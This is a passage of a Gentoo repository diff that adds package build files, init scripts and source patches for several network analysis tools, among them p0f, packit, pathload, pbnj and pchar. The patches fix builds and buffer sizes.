+ <remote-id type="google-code">ostinato</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ostinato/ostinato-0.5.1.ebuild b/net-analyzer/ostinato/ostinato-0.5.1.ebuild
new file mode 100644
index 000000000000..6f69c0b6ad7d
--- /dev/null
+++ b/net-analyzer/ostinato/ostinato-0.5.1.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit qt4-r2
+
+DESCRIPTION="A packet generator and analyzer"
+HOMEPAGE="http://code.google.com/p/ostinato/"
+SRC_URI="http://ostinato.googlecode.com/files/${PN}-src-${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 arm x86"
+IUSE=""
+
+DEPEND="dev-libs/protobuf:=
+ net-libs/libpcap
+ dev-qt/qtcore:4
+ dev-qt/qtgui:4
+ dev-qt/qtscript:4"
+RDEPEND="${DEPEND}"
+
+src_configure(){
+ eqmake4 PREFIX=/usr ost.pro
+}
diff --git a/net-analyzer/p0f/Manifest b/net-analyzer/p0f/Manifest
new file mode 100644
index 000000000000..df4c919b4dce
--- /dev/null
+++ b/net-analyzer/p0f/Manifest
@@ -0,0 +1,3 @@
+DIST p0f-2.0.8.tgz 136877 SHA256 6c4d8745f04e59f2ba68d56fd1554551592f08a0497c9fc21b84498f47d1aee0 SHA512 ccfc512a79df7acfad007c6d67398c5c0745be165095adc9dc4ba62cf165c962f98d92e038b3be4eb23cd13e3a9231827c4bd8a0a3bf0cdf68a38286188cde4f WHIRLPOOL 4e813f799e6fdec2728a72a720a5538eff637d8089bacc485c922fce1b64a58018e1dcff51c79e5551fd01d7647e681db507574873ffc020c3c710ea7398ffdd
+DIST p0f-3.06b.tgz 92054 SHA256 d151931be2557ac45f9baa0a9384b8643979f4227c391ed395792874f2c6cde7 SHA512 2fe9ed6049c8680ec994b071761f8351ad2f771a0ef2a423b007878c4a3b900d3c6a1a638fe4d72e4c300ce383ad19a7b4a1bf72e65acfa0bd11453a43cd46cc WHIRLPOOL c281f072af04ba8ba4ebcab87c0ed381d91cbd38eb306a43fa2d9a47083d642f539096282d218604ad6bba1800cd34962432bf5697996c930a5e7a2c4e425dc0
+DIST p0f-3.07b.tgz 92414 SHA256 5cfc9a4b32e0e789d6ae3240e22c531e7dfb7906d833a026e45a5504379f0ba2 SHA512 79dd0637015055a5bf1f017ea3ae9d5b916c4299df0b364450ffb4a9d736c95a27a2874ac537cfcaec5e588fd507891ee7012d6d41459c6dd68638efc1a708da WHIRLPOOL 68b11ebde6ab356bd1c82173c6c2c8b4a840e251e60931c16b1989781b12a14b4f6a592050c729c17afbab2965390d21c0e4a18bac6c915ffd93ab9d0fd51079
diff --git a/net-analyzer/p0f/files/p0f.confd b/net-analyzer/p0f/files/p0f.confd
new file mode 100644
index 000000000000..01c02896ec01
--- /dev/null
+++ b/net-analyzer/p0f/files/p0f.confd
@@ -0,0 +1,3 @@
+P0FLOGFILE=/var/log/p0f-audit.log
+P0FDEVICE=eth0
+P0FOPTIONS="-tl"
diff --git a/net-analyzer/p0f/files/p0f.initd3 b/net-analyzer/p0f/files/p0f.initd3
new file mode 100755
index 000000000000..05fef018283f
--- /dev/null
+++ b/net-analyzer/p0f/files/p0f.initd3
@@ -0,0 +1,42 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+start() {
+ ebegin "Starting p0f"
+ # The 'tcp and tcp[13] & 2 = 2' requires at least syn set.
+ # An alternative would be 'tcp and tcp[13] & 0x3f = 2', which
+ # is syn and no other major flags (but ECN enabled packets are OK)
+ if [ -z "$BpfFilter" ]; then
+ BpfFilter='tcp and tcp[13] & 2 = 2'
+ else
+ BpfFilter="$BpfFilter and tcp and tcp[13] & 2 = 2"
+ fi
+
+ # The command in backticks returns all the local IP addresses on this machine.
+ for OneIP in `/sbin/ifconfig 2>/dev/null | grep 'inet addr' | sed -e 's/.*addr://' -e 's/ .*//'` ; do
+ BpfFilter="$BpfFilter and not src host $OneIP"
+ done
+
+
+ # Create a lock file.
+ mkdir -p /var/lock/subsys
+ touch /var/lock/subsys/p0f
+
+ # Start up p0f and filter out all packets originating from any of this machines IP's.
+ if [ -z "${P0FLOGFILE}" ]; then
+ P0FLOGFILE="/var/log/p0f"
+ fi
+ einfo "Logfile: ${P0FLOGFILE}"
+ start-stop-daemon --start --quiet --pidfile /var/run/p0f.pid --exec /usr/sbin/p0f -- -i "${P0FDEVICE}" \
+ ${P0FOPTIONS} -o "${P0FLOGFILE}" -d "${BpfFilter}" 2>/dev/null
+ eend ${?}
+}
+
+stop() {
+ ebegin "Stopping p0f"
+ start-stop-daemon --stop --quiet --pidfile /var/run/p0f.pid
+ rm -f /var/lock/subsys/p0f
+ eend ${?}
+}
diff --git a/net-analyzer/p0f/metadata.xml b/net-analyzer/p0f/metadata.xml
new file mode 100644
index 000000000000..44b3cbf45583
--- /dev/null
+++ b/net-analyzer/p0f/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>p0f performs passive OS detection based on SYN packets.</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/p0f/p0f-2.0.8-r2.ebuild b/net-analyzer/p0f/p0f-2.0.8-r2.ebuild
new file mode 100644
index 000000000000..c03dc56480d0
--- /dev/null
+++ b/net-analyzer/p0f/p0f-2.0.8-r2.ebuild
@@ -0,0 +1,65 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="3"
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="p0f performs passive OS detection based on SYN packets"
+HOMEPAGE="http://lcamtuf.coredump.cx/p0f.shtml"
+SRC_URI="http://lcamtuf.coredump.cx/p0f/${P}.tgz"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="amd64 ppc sparc x86 ~amd64-linux ~x86-linux ~ppc-macos"
+IUSE="static"
+
+DEPEND="net-libs/libpcap"
+
+S="${WORKDIR}/${PN}"
+
+src_prepare() {
+ sed -i p0f.c -e 's;#include <net/bpf.h>;;' || die "sed p0f.c"
+
+ # The first script ensures only p0f is built
+ sed -i mk/* \
+ -e 's|^\(all: $(FILE)\).*$|\1|' \
+ -e 's|^CFLAGS.*=.*|CFLAGS += \\|g' \
+ -e '/$(CC).* -o /s|$(CFLAGS)|& $(LDFLAGS)|g' \
+ || die "sed makefiles"
+
+ sed -i Build -e "s|\"/usr/|\"${EPREFIX}/usr/|g" || die "sed Build"
+
+ sed -i config.h \
+ -e "s|\"/etc/|\"${EPREFIX}/etc/|g" \
+ -e "s|\"/var/|\"${EPREFIX}/var/|g" \
+ || die "sed config.h"
+}
+
+src_compile() {
+ # Set -j1 to supress a warning that would not be useful in this case
+ emake -j1 CC=$(tc-getCC) \
+ $(use static && echo static || echo all) p0fq \
+ || die "emake failed"
+}
+
+src_install () {
+ use static && mv p0f-static p0f
+ dosbin p0f p0frep test/p0fq || die
+
+ insinto /etc/p0f
+ doins p0f.fp p0fa.fp p0fr.fp
+
+ doman p0f.1 || die
+ cd doc
+ dodoc ChangeLog CREDITS KNOWN_BUGS README TODO
+
+ newconfd "${FILESDIR}"/${PN}.confd ${PN} || die "newconfd failed"
+ newinitd "${FILESDIR}"/${PN}.initd3 ${PN} || die "newinitd failed"
+}
+
+pkg_postinst(){
+ elog "Adjust /etc/conf.d/p0f to your liking before using the"
+ elog "init script. For more information on options, read man p0f."
+}
diff --git a/net-analyzer/p0f/p0f-3.06_beta.ebuild b/net-analyzer/p0f/p0f-3.06_beta.ebuild
new file mode 100644
index 000000000000..4aec2ec96275
--- /dev/null
+++ b/net-analyzer/p0f/p0f-3.06_beta.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+MY_P=${P/_beta/b}
+
+DESCRIPTION="A tool to perform passive OS detection based on SYN packets"
+HOMEPAGE="http://lcamtuf.coredump.cx/p0f3/"
+SRC_URI="http://lcamtuf.coredump.cx/p0f3/releases/${MY_P}.tgz"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86 ~amd64-linux ~arm-linux ~x86-linux ~ppc-macos"
+IUSE="debug ipv6"
+
+RDEPEND="net-libs/libpcap"
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ sed -i \
+ -e 's:-g -ggdb::' \
+ -e 's:-O3::' \
+ -e '/^CC/s:=:?=:' \
+ -e '/^CFLAGS/s:=:+=:' \
+ -e '/^LDFLAGS/s:=:+=:' \
+ build.sh tools/Makefile || die
+
+ sed -i -e "/FP_FILE/s:p0f.fp:${EPREFIX}/etc/&:" config.h || die
+}
+
+src_compile() {
+ tc-export CC
+ ./build.sh $(use debug && echo debug) || die
+ emake -C tools p0f-client p0f-sendsyn $(use ipv6 && echo p0f-sendsyn6)
+}
+
+src_install() {
+ dosbin p0f tools/p0f-{client,sendsyn}
+ use ipv6 && dosbin tools/p0f-sendsyn6
+
+ insinto /etc
+ doins p0f.fp
+
+ #newconfd "${FILESDIR}"/${PN}.confd ${PN}
+ #newinitd "${FILESDIR}"/${PN}.initd3 ${PN}
+
+ dodoc docs/{ChangeLog,README,TODO,*.txt} tools/README-TOOLS
+}
diff --git a/net-analyzer/p0f/p0f-3.07_beta.ebuild b/net-analyzer/p0f/p0f-3.07_beta.ebuild
new file mode 100644
index 000000000000..8a45eedbc128
--- /dev/null
+++ b/net-analyzer/p0f/p0f-3.07_beta.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+MY_P=${P/_beta/b}
+
+DESCRIPTION="A tool to perform passive OS detection based on SYN packets"
+HOMEPAGE="http://lcamtuf.coredump.cx/p0f3/"
+SRC_URI="http://lcamtuf.coredump.cx/p0f3/releases/${MY_P}.tgz"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86 ~amd64-linux ~arm-linux ~x86-linux ~ppc-macos"
+IUSE="debug ipv6"
+
+RDEPEND="net-libs/libpcap"
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ sed -i \
+ -e 's:-g -ggdb::' \
+ -e 's:-O3::' \
+ -e '/^CC/s:=:?=:' \
+ -e '/^CFLAGS/s:=:+=:' \
+ -e '/^LDFLAGS/s:=:+=:' \
+ build.sh tools/Makefile || die
+
+ sed -i -e "/FP_FILE/s:p0f.fp:${EPREFIX}/etc/&:" config.h || die
+}
+
+src_compile() {
+ tc-export CC
+ ./build.sh $(use debug && echo debug) || die
+ emake -C tools p0f-client p0f-sendsyn $(use ipv6 && echo p0f-sendsyn6)
+}
+
+src_install() {
+ dosbin p0f tools/p0f-{client,sendsyn}
+ use ipv6 && dosbin tools/p0f-sendsyn6
+
+ insinto /etc
+ doins p0f.fp
+
+ #newconfd "${FILESDIR}"/${PN}.confd ${PN}
+ #newinitd "${FILESDIR}"/${PN}.initd3 ${PN}
+
+ dodoc docs/{ChangeLog,README,TODO,*.txt} tools/README-TOOLS
+}
diff --git a/net-analyzer/packit/Manifest b/net-analyzer/packit/Manifest
new file mode 100644
index 000000000000..d098104e7f36
--- /dev/null
+++ b/net-analyzer/packit/Manifest
@@ -0,0 +1 @@
+DIST packit-1.0.tgz 138367 SHA256 dd03023a03b3c98819f4da5c23426d103ed3f457562e2afda2eb3ebc419ad8fa SHA512 cc7e957d2149edbc92d4d914c9f29aecb7945bab43f2df7435bc4c21a4724f92e9d99990683e4d301384117f79819f87f423eaa28dbef11b37a96c4aa40a1398 WHIRLPOOL f436c33d01d33f39d348012431347d6558f4f64e953343428465c1af5a3639685eba7e5974ac17a0cfd810d8b9d02f266c5f515b9ca591cdf060af6705a0f96a
diff --git a/net-analyzer/packit/files/packit-1.0-format.patch b/net-analyzer/packit/files/packit-1.0-format.patch
new file mode 100644
index 000000000000..88a5edd92cdc
--- /dev/null
+++ b/net-analyzer/packit/files/packit-1.0-format.patch
@@ -0,0 +1,43 @@
+The original objective seems to have been to apply padding, but this
+is not done at all: instead, set a precision. -JeR
+
+--- a/src/shape_arp_hdr.c
++++ b/src/shape_arp_hdr.c
+@@ -94,7 +94,7 @@
+ if(format_ethernet_addr(ahdr_o.s_eaddr, s_neaddr) == 0)
+ fatal_error("Invalid sender ethernet address");
+
+- snprintf(ahdr_o.shw_addr, 18, "%0X:%0X:%0X:%0X:%0X:%0X",
++ snprintf(ahdr_o.shw_addr, 18, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+ s_neaddr[0], s_neaddr[1], s_neaddr[2], s_neaddr[3], s_neaddr[4], s_neaddr[5]);
+
+ if(ahdr_o.r_paddr == NULL)
+@@ -139,7 +139,7 @@
+ if(format_ethernet_addr(ahdr_o.r_eaddr, r_neaddr) == 0)
+ fatal_error("Invalid receiver ethernet address");
+
+- snprintf(ahdr_o.rhw_addr, 18, "%0X:%0X:%0X:%0X:%0X:%0X",
++ snprintf(ahdr_o.rhw_addr, 18, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+ r_neaddr[0], r_neaddr[1], r_neaddr[2], r_neaddr[3], r_neaddr[4], r_neaddr[5]);
+
+ if(libnet_build_arp(
+--- a/src/shape_ethernet_hdr.c
++++ b/src/shape_ethernet_hdr.c
+@@ -56,7 +56,7 @@
+ if(format_ethernet_addr(ehdr_o.s_addr, us_addr) == 0)
+ fatal_error("Invalid source ethernet address");
+
+- snprintf(ehdr_o.shw_addr, 18, "%0X:%0X:%0X:%0X:%0X:%0X",
++ snprintf(ehdr_o.shw_addr, 18, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+ us_addr[0], us_addr[1], us_addr[2], us_addr[3], us_addr[4], us_addr[5]);
+
+ if(ehdr_o.d_addr == NULL && injection_type == ETHERTYPE_ARP)
+@@ -71,7 +71,7 @@
+ if(format_ethernet_addr(ehdr_o.d_addr, ud_addr) == 0)
+ fatal_error("Invalid destination ethernet address");
+
+- snprintf(ehdr_o.dhw_addr, 18, "%0X:%0X:%0X:%0X:%0X:%0X",
++ snprintf(ehdr_o.dhw_addr, 18, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+ ud_addr[0], ud_addr[1], ud_addr[2], ud_addr[3], ud_addr[4], ud_addr[5]);
+
+ if(libnet_build_ethernet(
diff --git a/net-analyzer/packit/files/packit-1.0-noopt.patch b/net-analyzer/packit/files/packit-1.0-noopt.patch
new file mode 100644
index 000000000000..d6bfdf6fb74f
--- /dev/null
+++ b/net-analyzer/packit/files/packit-1.0-noopt.patch
@@ -0,0 +1,10 @@
+--- a/src/main.c
++++ b/src/main.c
+@@ -201,6 +201,7 @@
+ #ifdef DEBUG
+ fprintf(stdout, "DEBUG: parse_inject\n");
+ #endif
++ if (!opts) print_usage();
+
+ while((opt = getopt(argc, argv, opts)) != -1)
+ {
diff --git a/net-analyzer/packit/files/packit-1.0-nostrip.patch b/net-analyzer/packit/files/packit-1.0-nostrip.patch
new file mode 100644
index 000000000000..672f48ca1fd6
--- /dev/null
+++ b/net-analyzer/packit/files/packit-1.0-nostrip.patch
@@ -0,0 +1,10 @@
+--- a/src/Makefile.in
++++ b/src/Makefile.in
+@@ -450,7 +450,6 @@
+
+
+ all:
+- strip @BINS@
+ cp @BINS@ $(top_srcdir)
+
+ clean:
diff --git a/net-analyzer/packit/files/packit-1.0-overflow.patch b/net-analyzer/packit/files/packit-1.0-overflow.patch
new file mode 100644
index 000000000000..3adf31a6bb82
--- /dev/null
+++ b/net-analyzer/packit/files/packit-1.0-overflow.patch
@@ -0,0 +1,58 @@
+--- a/src/utils.c
++++ b/src/utils.c
+@@ -137,7 +137,7 @@
+ #endif
+
+ va_start(va, msgp);
+- vsnprintf(msg, 256, msgp, va);
++ vsnprintf(msg, 255, msgp, va);
+
+ msg_len = strlen(msg);
+
+--- a/src/exit.c
++++ b/src/exit.c
+@@ -36,7 +36,7 @@
+ while(1)
+ {
+ fprintf(stderr, "\n\nWould you like to quit? (y/n): ");
+- fgets(a, 16, stdin);
++ fgets(a, 2, stdin);
+
+ if(!strncasecmp(a, "Y", 1))
+ break;
+--- a/src/define_defaults.c
++++ b/src/define_defaults.c
+@@ -36,7 +36,7 @@
+ rand_d_port = (p_mode == M_TRACE) ? 1 : 0;
+ r_timeout = 1;
+ burst_rate = 1;
+- hwaddr_p[17] = 0;
++ /* hwaddr_p[18] = 0; */
+ init_type = 1;
+ interval_sec = 1;
+ interval_usec = 0;
+--- a/src/inject_defs.h
++++ b/src/inject_defs.h
+@@ -132,9 +132,9 @@
+ u_int16_t rand_d_addr;
+
+ u_int8_t *s_addr; /* source ethernet address string */
+- u_int8_t shw_addr[17];
++ u_int8_t shw_addr[18];
+ u_int8_t *d_addr; /* destination ethernet address string */
+- u_int8_t dhw_addr[17];
++ u_int8_t dhw_addr[18];
+ } ehdr_o;
+
+ struct arphdr_opts
+@@ -153,8 +153,8 @@
+ u_int8_t *r_eaddr; /* receiver ethernet address */
+ u_int16_t rand_r_eaddr;
+
+- u_int8_t shw_addr[17];
+- u_int8_t rhw_addr[17];
++ u_int8_t shw_addr[18];
++ u_int8_t rhw_addr[18];
+ } ahdr_o;
+
+ libnet_t *pkt_d;
diff --git a/net-analyzer/packit/files/packit-1.0-pcap-header.patch b/net-analyzer/packit/files/packit-1.0-pcap-header.patch
new file mode 100644
index 000000000000..6cda0a8e65ce
--- /dev/null
+++ b/net-analyzer/packit/files/packit-1.0-pcap-header.patch
@@ -0,0 +1,22 @@
+--- a/src/globals.h
++++ b/src/globals.h
+@@ -31,7 +31,7 @@
+ #include <libnet.h>
+ #include <pcap.h>
+ #include <sys/types.h>
+-#include <net/bpf.h>
++#include <pcap-bpf.h>
+ #include <signal.h>
+ #include <time.h>
+ #include <stdio.h>
+--- a/src/main.h
++++ b/src/main.h
+@@ -26,7 +26,7 @@
+ #include <libnet.h>
+ #include <pcap.h>
+ #include <sys/types.h>
+-#include <net/bpf.h>
++#include <pcap-bpf.h>
+ #include <signal.h>
+ #include <time.h>
+ #include <stdio.h>
diff --git a/net-analyzer/packit/metadata.xml b/net-analyzer/packit/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/packit/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/packit/packit-1.0-r2.ebuild b/net-analyzer/packit/packit-1.0-r2.ebuild
new file mode 100644
index 000000000000..9282b5d9806d
--- /dev/null
+++ b/net-analyzer/packit/packit-1.0-r2.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="network auditing tool that allows you to monitor, manipulate, and inject customized IPv4 traffic"
+HOMEPAGE="http://packetfactory.openwall.net/projects/packit/"
+SRC_URI="${HOMEPAGE}downloads/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86 ~amd64-linux ~x86-linux ~ppc-macos"
+
+DEPEND="
+ net-libs/libnet:1.1
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+src_prepare(){
+ epatch \
+ "${FILESDIR}"/packit-1.0-format.patch \
+ "${FILESDIR}"/packit-1.0-noopt.patch \
+ "${FILESDIR}"/packit-1.0-nostrip.patch \
+ "${FILESDIR}"/packit-1.0-overflow.patch \
+ "${FILESDIR}"/packit-1.0-pcap-header.patch
+}
+
+src_install() {
+ default
+ dodoc docs/*
+}
diff --git a/net-analyzer/pathload/Manifest b/net-analyzer/pathload/Manifest
new file mode 100644
index 000000000000..48850bb90b2f
--- /dev/null
+++ b/net-analyzer/pathload/Manifest
@@ -0,0 +1 @@
+DIST pathload-1.3.2.tar.gz 68524 SHA256 186859ee5a2583fd9a23c3e4afdebad46b918abc144da6f0909b250723ce7aac SHA512 9fef51c86b8aa2c28a33effe5a5bff36eebc0812f6d6744fac93df46ec0cbce8f5977d24b6ac52442386fb263550fe46e639c4a3ff4612fe92ad09d6595e5d7f WHIRLPOOL f78779a2f15ff9270dd795281ae7c865526e3b65d39111d4603b512b574694e75d0cf829f04b01c6ee63a1e30dc1f5c9bbe9ef0e390e1d3891014a09f99ac847
diff --git a/net-analyzer/pathload/files/pathload-1.3.2-make.patch b/net-analyzer/pathload/files/pathload-1.3.2-make.patch
new file mode 100644
index 000000000000..f97848839627
--- /dev/null
+++ b/net-analyzer/pathload/files/pathload-1.3.2-make.patch
@@ -0,0 +1,19 @@
+--- a/makefile.in
++++ b/makefile.in
+@@ -11,13 +11,13 @@
+
+ TARGETS=pathload_snd pathload_rcv
+
+-all:${TARGETS} clean
++all:${TARGETS}
+
+ pathload_snd: $(SOBJS)
+- $(CC) $(SOBJS) -o pathload_snd $(LIBS) $(LDFLAGS) $(CFLAGS)
++ $(CC) $(LDFLAGS) $(CFLAGS) $(SOBJS) -o pathload_snd $(LIBS)
+
+ pathload_rcv: $(ROBJS)
+- $(CC) $(ROBJS) -o pathload_rcv $(LIBS) $(LDFLAGS) $(CFLAGS)
++ $(CC) $(LDFLAGS) $(CFLAGS) $(ROBJS) -o pathload_rcv $(LIBS)
+
+ pathload_rcv.o pathload_rcv_func.o: pathload_gbls.h pathload_rcv.h
+
diff --git a/net-analyzer/pathload/metadata.xml b/net-analyzer/pathload/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/pathload/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/pathload/pathload-1.3.2.ebuild b/net-analyzer/pathload/pathload-1.3.2.ebuild
new file mode 100644
index 000000000000..3e50d8890827
--- /dev/null
+++ b/net-analyzer/pathload/pathload-1.3.2.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Non-intrusive utility for estimation of available bandwidth of Internet paths"
+HOMEPAGE="http://www.cc.gatech.edu/fac/constantinos.dovrolis/bw-est/pathload.html"
+SRC_URI="https://dev.gentoo.org/~jer/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+S=${WORKDIR}/${PN}_${PV}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-make.patch
+ tc-export CC
+}
+
+src_install() {
+ dobin ${PN}_snd ${PN}_rcv
+ dodoc CHANGELOG CHANGES README
+}
diff --git a/net-analyzer/pbnj/Manifest b/net-analyzer/pbnj/Manifest
new file mode 100644
index 000000000000..f41970771993
--- /dev/null
+++ b/net-analyzer/pbnj/Manifest
@@ -0,0 +1 @@
+DIST pbnj-2.04.tar.bz2 57438 SHA256 32b9d004f497d454ce255b10454b955707dae0c42072c9c7ed8e305c092338b5 SHA512 7f486c4e16a891d90ff10fa80b85ba68346f37152c5f932832c3760985f0dff5c58e0f23309ed395f0c06ff4287bf4af66d1b39de7f2838a868e6b8335afe206 WHIRLPOOL decee06ac6513260129e2ea3c9e97e47f0cc2d0fa0071914f21233b47f1ea9bed8913c0a8815e73749d2a1ac3d355feca0329d5449daab2400636e85ce62f8dc
diff --git a/net-analyzer/pbnj/metadata.xml b/net-analyzer/pbnj/metadata.xml
new file mode 100644
index 000000000000..b19dcc35034e
--- /dev/null
+++ b/net-analyzer/pbnj/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>jabra@ccs.neu.edu</email>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">pbnj</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/pbnj/pbnj-2.04.ebuild b/net-analyzer/pbnj/pbnj-2.04.ebuild
new file mode 100644
index 000000000000..df3428f617e5
--- /dev/null
+++ b/net-analyzer/pbnj/pbnj-2.04.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit perl-module
+
+DESCRIPTION="A tool for running Nmap scans and diff'ing the results"
+HOMEPAGE="http://pbnj.sourceforge.net/"
+SRC_URI="mirror://sourceforge/pbnj/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+DEPEND="
+ dev-perl/DBD-SQLite
+ dev-perl/DBI
+ dev-perl/File-HomeDir
+ dev-perl/File-Which
+ dev-perl/Nmap-Parser
+ dev-perl/Text-CSV_XS
+ dev-perl/XML-Twig
+ dev-perl/yaml
+"
+RDEPEND="
+ ${DEPEND}
+ net-analyzer/nmap
+"
diff --git a/net-analyzer/pchar/Manifest b/net-analyzer/pchar/Manifest
new file mode 100644
index 000000000000..267285de3267
--- /dev/null
+++ b/net-analyzer/pchar/Manifest
@@ -0,0 +1 @@
+DIST pchar-1.5.tar.gz 117678 SHA256 7019297084f1000557a019501532ecae67772851717329cc02227f5c17e36d27 SHA512 56784589a16638a12230a11a177b8dd97a7abac927624beaaea89e0169423f7242c2b434a36aad1a07d977e6b006fd71eb9132aecb1d35e3e3363eb2d1549d84 WHIRLPOOL 952ed4b9497da6b1e9ab8748d76e447b411e020baf0cebfb73e17e761b54de3c874707eebf6940510c0a1443823613021e1abac296bba9792680c6409c2a9f08
diff --git a/net-analyzer/pchar/files/pchar-1.5-snmp.patch b/net-analyzer/pchar/files/pchar-1.5-snmp.patch
new file mode 100644
index 000000000000..9ebfbad39eb0
--- /dev/null
+++ b/net-analyzer/pchar/files/pchar-1.5-snmp.patch
@@ -0,0 +1,24 @@
+--- GetIfInfo.h.old 2005-02-12 21:32:18.000000000 +0100
++++ GetIfInfo.h 2006-09-22 11:08:44.000000000 +0200
+@@ -17,7 +17,7 @@
+ bool IsValid(void);
+
+ const char * GetDescription(void) const;
+- const char * GetIfInfo::GetName(void) const;
++ const char * GetName(void) const;
+ const char * GetContact(void) const;
+ const char * GetLocation(void) const;
+ const char * GetIfDescription(void) const;
+--- configure.in.old 2005-02-12 21:32:18.000000000 +0100
++++ configure.in 2006-10-24 23:08:38.000000000 +0200
+@@ -128,8 +128,8 @@
+ LDFLAGS="-L$with_snmp/lib $LDFLAGS"
+ CPPFLAGS="-I$with_snmp/include $CPPFLAGS"
+ fi
+- AC_CHECK_LIB(crypto, des_cbc_encrypt)
+- AC_CHECK_LIB(snmp, snmp_sess_init,,,-lcrypto)
++ AC_CHECK_LIB(crypto, DES_cbc_encrypt)
++ AC_CHECK_LIB(snmp, snmp_sess_init)
+ fi
+
+ dnl pcap support if desired. If the user enabled --with-pcap,
diff --git a/net-analyzer/pchar/metadata.xml b/net-analyzer/pchar/metadata.xml
new file mode 100644
index 000000000000..1c7ac553fb89
--- /dev/null
+++ b/net-analyzer/pchar/metadata.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>chutzpah@gentoo.org</email>
+ <name>Patrick McLean</name>
+</maintainer>
+<longdescription lang="en">
+pchar is a reimplementation of the pathchar utility, written by Van
+Jacobson. Both programs attempt to characterize the bandwidth,
+latency, and loss of links along an end-to-end path through the
+Internet. pchar works in both IPv4 and IPv6 networks.
+</longdescription>
+<use>
+ <flag name='pcap'>Use the <pkg>net-libs/libpcap</pkg> library</flag>
+</use>
+</pkgmetadata>
+
diff --git a/net-analyzer/pchar/pchar-1.5-r1.ebuild b/net-analyzer/pchar/pchar-1.5-r1.ebuild
new file mode 100644
index 000000000000..ef41a88924f5
--- /dev/null
+++ b/net-analyzer/pchar/pchar-1.5-r1.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+WANT_AUTOCONF=2.1
+WANT_AUTOMAKE=none
+
+inherit eutils autotools toolchain-funcs
+
+DESCRIPTION="Internet bandwidth, latency, and loss of links analyzer"
+HOMEPAGE="http://www.kitchenlab.org/www/bmah/Software/pchar/"
+SRC_URI="http://www.kitchenlab.org/www/bmah/Software/${PN}/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86 ~amd64-linux ~x86-linux ~x86-macos"
+IUSE="ipv6 pcap snmp"
+
+DEPEND=">=dev-libs/openssl-0.9.7
